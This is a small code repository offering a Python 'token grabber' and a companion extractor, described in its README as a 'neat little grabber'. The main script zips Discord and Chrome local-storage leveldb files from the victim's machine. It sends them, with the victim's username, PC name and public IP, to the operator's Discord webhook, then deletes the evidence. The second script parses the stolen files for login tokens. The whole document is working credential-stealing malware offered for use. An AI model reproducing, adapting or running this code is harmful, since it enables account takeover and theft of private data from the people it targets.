├── README.md ├── Token Grabber.py └── Token leveldb Extractor.py /README.md: -------------------------------------------------------------------------------- 1 | # python-token-grabber 2 | 3 | Neat little grabber 4 | 5 | Needs Modules: dhooks and requests 6 | 7 | To Function it needs a Webhook Link on your discord server, and the link put in: ('WEBHOOK_LINK_HERE') 8 | 9 | And that's it. Token should be in one of the .ldb files or the .log file. 10 | -------------------------------------------------------------------------------- /Token Grabber.py: -------------------------------------------------------------------------------- 1 | # 1-28-19 2 | # Project: Token Stealer 3 | # Authors: DeadBread76 | Synchronocy 4 | # IDLE 3.6.5 (32/64) 5 | # Essentially uhh. no comment. 6 | # requirements as follows. 7 | 8 | import os 9 | import sys 10 | import shutil 11 | import zipfile 12 | from requests import get 13 | from dhooks import Webhook, File 14 | 15 | hook = Webhook('WEBHOOK HERE') 16 | path = os.getenv('APPDATA') 17 | localpath = os.getenv('LOCALAPPDATA') 18 | user = os.getenv('username') 19 | pc_name = os.environ['COMPUTERNAME'] 20 | temp_dir = localpath+"\\temp\\" 21 | tokendir = path+"\\Discord\\Local Storage\\leveldb\\" 22 | ptbtokendir = path+"\\discordptb\\Local Storage\\leveldb\\" 23 | canarytokendir = path+"\\discordcanary\\Local Storage\\leveldb\\" 24 | chromedir = localpath + "\\Google\\Chrome\\User Data\\Default\\Local Storage\\leveldb\\" 25 | 26 | zipf = temp_dir+"logs.zip" 27 | if os.path.isfile(temp_dir+"run.log"): 28 | sys.exit() 29 | ip = get('https://api.ipify.org').text 30 | 31 | if os.path.isfile(zipf): 32 | os.remove(zipf) 33 | 34 | zip = zipfile.ZipFile(zipf,'a') 35 | 36 | if os.path.isdir(tokendir): 37 | discordinst = True 38 | try: 39 | for root, dirs, files in os.walk(tokendir): 40 | for file in files: 41 | zip.write(tokendir+file) 42 | except Exception: 43 | failed = True 44 | else: 45 | discordinst = False 46 | 47 | if os.path.isdir(ptbtokendir): 48 | ptbinst = True 49 | try: 50 | for root, dirs, files in os.walk(ptbtokendir): 51 | for file in files: 52 | zip.write(ptbtokendir+file) 53 | except Exception: 54 | ptbfailed = True 55 | else: 56 | ptbinst = False 57 | 58 | if os.path.isdir(canarytokendir): 59 | canaryinst = True 60 | try: 61 | for root, dirs, files in os.walk(canarytokendir): 62 | for file in files: 63 | zip.write(canarytokendir+file) 64 | except Exception: 65 | canaryfailed = True 66 | else: 67 | canaryinst = False 68 | 69 | if os.path.isdir(chromedir): 70 | chromeinst = True 71 | try: 72 | for root, dirs, files in os.walk(chromedir): 73 | for file in files: 74 | zip.write(chromedir+file) 75 | except Exception: 76 | chromefailed = True 77 | else: 78 | chromeinst = False 79 | zip.close() 80 | 81 | def main(): 82 | with open (temp_dir+"run.log", 'w+') as handle: 83 | handle.write("Fatal Error.") 84 | handle.close() 85 | hook.send('```css\nToken Grabbed! \n\nUsername: '+str(user) + '\nPC Name: ' + pc_name + '\nIP Address: {}'.format(ip) +'\n\nZip File:```') 86 | try: 87 | hook.send(file = File(zipf, name=str(user)+" Logs.zip")) 88 | except: 89 | hook.send('```css\nThere was an error obtaining the zip.```') 90 | if discordinst and ptbinst and canaryinst and chromeinst == False: 91 | hook.send("```css\nUser had nothing installed```") 92 | try: 93 | os.remove(zipf) 94 | except: 95 | return '' 96 | 97 | main() 98 | -------------------------------------------------------------------------------- /Token leveldb Extractor.py: -------------------------------------------------------------------------------- 1 | import re 2 | import os 3 | import sys 4 | import pyperclip 5 | from tkinter import filedialog 6 | from tkinter import * 7 | 8 | root = Tk() 9 | root.withdraw() 10 | folder_selected = filedialog.askdirectory() 11 | if folder_selected == '': 12 | sys.exit() 13 | for root, dirs, files in os.walk(folder_selected): 14 | for file in files: 15 | with open (folder_selected+'/'+file, errors='ignore') as handle: 16 | try: 17 | lines = handle.readlines() 18 | except Exception as e: 19 | print (e) 20 | for line in lines: 21 | if '[oken' in line: 22 | pattern = r'"([A-Za-z0-9_\./\\-]*)"' 23 | token = re.search(pattern, line) 24 | tokenfound = token.group().strip('"') 25 | print (tokenfound) 26 | pyperclip.copy(tokenfound) 27 | input() 28 | break 29 | if '>oken' in line: 30 | pattern = r'"([A-Za-z0-9_\./\\-]*)"' 31 | token = re.search(pattern, line) 32 | tokenfound = token.group().strip('"') 33 | print (tokenfound) 34 | pyperclip.copy(tokenfound) 35 | input() 36 | break 37 | if 'token>' in line: 38 | pattern = r'"([A-Za-z0-9_\./\\-]*)"' 39 | token = re.findall(pattern, line) 40 | for string in token: 41 | if len(string) < 59: 42 | continue 43 | else: 44 | print (string) 45 | pyperclip.copy(string) 46 | break 47 | input() 48 | break 49 | --------------------------------------------------------------------------------